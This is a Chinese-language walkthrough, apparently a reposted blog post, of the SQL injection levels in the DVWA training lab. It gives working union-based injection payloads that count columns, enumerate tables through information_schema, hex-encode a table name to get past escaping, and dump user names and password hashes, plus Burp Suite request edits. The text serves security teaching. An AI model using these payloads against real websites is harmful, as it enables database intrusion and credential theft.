IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> DVWA靶场通关(SQL注入) -> 正文阅读

[大数据]DVWA靶场通关(SQL注入)

SQL Injection(SQL注入)概念

就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

low

(1)判断是否存在sql注入,输入1',返回错误

判断存在sql注入:当输入1',返回错误,说明页面没有对1'进行过滤,即攻击者可以对数据库进行操作。

?? 输入1,回显正常,确认存在sql注入。

?(2)猜解SQL查询语句中的字段数

1' order by 2#

1' order by 3#

?

(3)确定回显位置(为第二个位置)

1' union select 1,2#

?(4)获取当前数据库。dvwa

1' union select 1,database()#

(5)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

?

(6) 获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

?

(7)获取字段中的数据

1' union select user,password from users#

Medium

在level为medium时,网页通过下拉表单的格式提交数据。

从页面源代码中可以发现,代码不是get型注入,应该是把提交的数据存放到post数据中了。

?这时需要对其注入sql语句,则最好采用火狐浏览器所带有的插件hacker。

(1)构造Post data :id=4&Submit=Submit。网页可以回显id=4的字段。

(2)猜解SQL查询语句中的字段数。

id=1 order by 2 &Submit=Submit //正常回显
id=1 order by 3 &Submit=Submit  //报错

(3)确定回显位置。回显位置为2。

id=1 union select 1,2 &Submit=Submit

(4)获取数据库名

id=1 union select 1,database() &Submit=Submit

(5)获取表名。

id=4 union select 1, group_concat(table_name) from information_scheme.table where table_schema = database()&Submit=Submit

?

该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。

在下图详细介绍了,burpsuite的修改数据包的内容,所得到网页的回显。

标记为1:更改GET==>POST

标记为2:增加 Content-Type: application/x-www-form-urlencoded,这条记录若不添加,会造成网页没有任何回显。

标记为3:数据包内容(即构造的SQL语句)

标记为4:回显的内容。

?后续SQL注入的步骤修改的地方为标记3。

对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;

查找数据库DVWA中有多少表。

id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit

?回显内容:数据库dvwa中存在两个表user和guestbook

查看表中的字段

id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

网页返回错误

?查看源代码

?$id?=?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],?$id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

因此当SQL语句中‘’,会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

?user表中的字段有user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

?获取关键数据

最后得到的密码是16进制数据,我们需要将其处理后使用。

id=1 union select user,password from users#&Submit=Submit

?

High

SQLMAP

实验需要再linux系统中实现,因此,首先需要再linux系统中进入DVWA平台,在浏览器中输入:http://靶机IP地址/DVWA-master/setup.php.

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-03-11 22:17:06  更:2022-03-11 22:20:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 8:47:32-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码